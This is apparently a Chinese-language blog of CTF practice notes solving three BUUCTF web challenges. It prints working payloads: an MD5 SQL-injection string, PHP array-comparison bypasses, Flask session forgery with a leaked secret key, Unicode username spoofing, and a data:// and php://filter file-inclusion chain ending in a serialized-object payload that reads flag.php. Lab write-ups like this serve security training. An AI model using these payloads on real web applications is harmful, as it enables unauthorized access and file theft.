BUUCTF 刷题笔记——Web 2

2023-03-15 11:50:37 浏览数 (2)

BUUCTF 刷题笔记——Web 2

[BJDCTF2020]Easy MD5

打开靶机,页面中仅有一个输入框,提交一个数据发现其将数据使用 GET 方法传给变量 password。

在几次测试后网页并没有什么变化,因此 F12 检查一下,发现在响应头中含有一个特殊字段 hint,内容为一个 SQL 语句,提示数据传入后会进行 MD5 加密。可以传入字符串 ffifdyop 进行绕过,该字符串哈希之后前几位正好构成永真式。

代码语言:javascript复制
Hint: select * from 'admin' where password=md5($pass,true)

绕过后网页跳转到 /levels91.php,仅显示一句话,但是调试界面可以看到一串被注释的代码。

代码提示该页面通过 GET 方法获取变量 a 和 b,仅在 a 不等于 b 但同时 MD5 值又相同的才行。这就很熟了,直接数组绕过,payload 如下:

代码语言:javascript复制
?a[]=1&b[]=2

随后网页跳转到另一个文件并且显示了如下代码:

代码语言:javascript复制
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

本次依然是要两个参数不相等且 MD5 值又相等,不过传递方式变成了 POST,比较方式也换成了强等于。强等于不会在比较前对数据类型进行转换,而上述方法并不涉及数据转换,因此使用如下 payload 即可绕过。

代码语言:javascript复制
param1[]=1&param2[]=2

[HCTF 2018]admin

  • 打开靶机,网页包含了登录与注册两个功能,LOGO 处可以点击,但是会返回 404。

  • 标题提示肯定需要 admin,这里就不猜他的密码了,紧急播报,可弱口令 123 直接登入拿到 flag。先注册一下摸摸网站功能,注册登录后网页有了编辑、修改密码以及登出功能。

笔者并没能在这些功能上找到突破点,不过,在更换密码界面的注释中包含了一个 GitHub 的仓库地址,目测应该是网站的源码。

flask session 伪造

由于笔者对 flask 完全部署,因此只能将整个目录拖进 VS Code 中检索关键字,发现首页代码如下:

代码语言:javascript复制
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>

{% include('footer.html') %}

也就是说,只要能伪造 name 字段为 admin 的 session 即可。

session 被设计为可读取但是不可修改,服务器会对该数据进行签名,数据格式我们可以解密现有 session,而对数据签名还需要 SECRET_KEY,该值一般由后台随机生成,该配置位于 config.py 文件中。实测被固定为了 ckj123,因此我们可以拿来直接签。

代码语言:javascript复制
import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

伪造工作可以借助 flask-session-cookie-manager 来完成,读取出的数据格式如下:

将用户名修改为 admin 并加上 ckj123 加密一遍便伪造完成了,值得注意的是数据内容原本均为双引号包裹,而作为参数再次被双引号包裹便会混淆,因此这里将各部分数据修改为单引号包裹。

将上述伪造的 session 插入数据报中的相应位置之后发包即可被识别为 admin,flag 便到手了。

Unicode 欺骗

  • 本题还有一个有意思的解法,在初期测试时会发现大写字母版的 ADMIN 照样不能注册,这是因为后台做了大小写过滤。审计代码可知该操作具体由 nodeprep.prepare 函数将字母统一转换为小写来完成,而旧版本的该函数存在一个有意思的漏洞,其不仅会将大写字母转换为小写字母,还会将奇奇怪怪的 Unicode 字符 ᴬᴰᴹᴵᴺ 等转换为大写字母 ADMIN。并且在修改密码、注册、登录这些操作中程序都会将用户名小写处理一遍,因此若注册用户名 ᴬᴰᴹᴵᴺ 并在登录后修改密码,便会经过两次处理变成修改 admin 的密码,那我们就正常登录就行了。

条件竞争

  • 许多师傅都会提一下这个解法,原理是在注册时设置用户名为 admin,这样就会传递一个用户名为 admin 的 session,与此同时再次发起更改密码的请求,因为没有登录,本来服务器应该不认识,但是由于后台同时保留了用户名为 admin 的 session,因此最终就会变成修改 admin 的密码。该操作十分粗略,要求也高,不仅师傅们基本复现不了,笔者更是试都没试。

[ZJCTF 2019]NiZhuanSiWei

打开靶机后页面为如下 PHP 代码,应该就是本题源码。

代码语言:javascript复制
<?php  
// GET 方法接收三个参数
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
// 判断 text 是否被赋值并检验其对应文件内容是否为 welcome to the zjctf
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    // 打印文件内容
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    // 判断 file 变量中是否包含 flag 字样
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        // 若 file 中不包含则将其指向的文件包含进来
        include($file);  //useless.php
        // 将 password 反序列化并打印
        $password = unserialize($password);
        echo $password;
    }
}
else{
    // text 参数不符合要求则回显源码
    highlight_file(__FILE__);
}
?>

审计后可知,程序通过 GET 方法获取三个参数,其中 text 参数需要指向一个文件并且文件内容必须为 welcome to the zjctf,而 file 参数则不能带有 flag 并且可被 include,源码还以注释的形式提示文件 useless.php,而 password 参数则会被反序列化并输出。到此为止还无法确定如何获取 flag,因此我们先研究一下提示的 useless.php 文件。

该文件内容并不能被浏览器直接获取,因此是普通的 PHP 代码文件。想要读取其中内容可借助程序中的包含操作,不过在此之前,我们需要让 text 指向一个含指定内容的文件。这一任务可以交给 PHP 伪协议 data:// 来完全,其为一个数据流封装器,用户输入该数据流会被当作 PHP 文件执行,当然现在并不需要他被执行,因此对内容进行 base64 加密即可。text 赋值如下:

代码语言:javascript复制
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

然后构造 file 参数来读取 useless.php 文件,这一任务可以交给 php://filter 来完成。其为一个元封装器,使用 resource 参数指定数据流,被包含时数据流会被当作 PHP 文件执行,当然我们依然不能让他执行,因此对数据流先进行 base64 加密。file 赋值如下:

代码语言:javascript复制
file=php://filter/read=convert.base64-encode/resource=useless.php

组合上述参数提交即可拿到 base64 编码后的 useless.php 文件内容,payload 如下。

代码语言:javascript复制
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

将浏览器回显的编码解码之后的 PHP 代码如下:

代码语言:javascript复制
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

这段代码中包含一个类,类中自带了 __tostring() 函数并会输出其中 file 变量所指向的文件的内容,并且注释提示 flag.php,因此构造该类的实现并让其输出 flag.php 文件即可获得 flag。

因为程序对对象执行 echo 时会自动调用 __tostring() 函数,因此现在只需借助 password 参数的反序列化操作传递一个对象即可。对象序列化字符串如下,其中 file 被指定为 flag.php 文件。

代码语言:javascript复制
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后将 password 参数加入即可获得 flag。当然,由于现在需要 useless.php 作为 PHP 文件执行,因此直接传文件名即可,最终 payload 如下:

代码语言:javascript复制
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

flag 被放在了注释中。

0 人点赞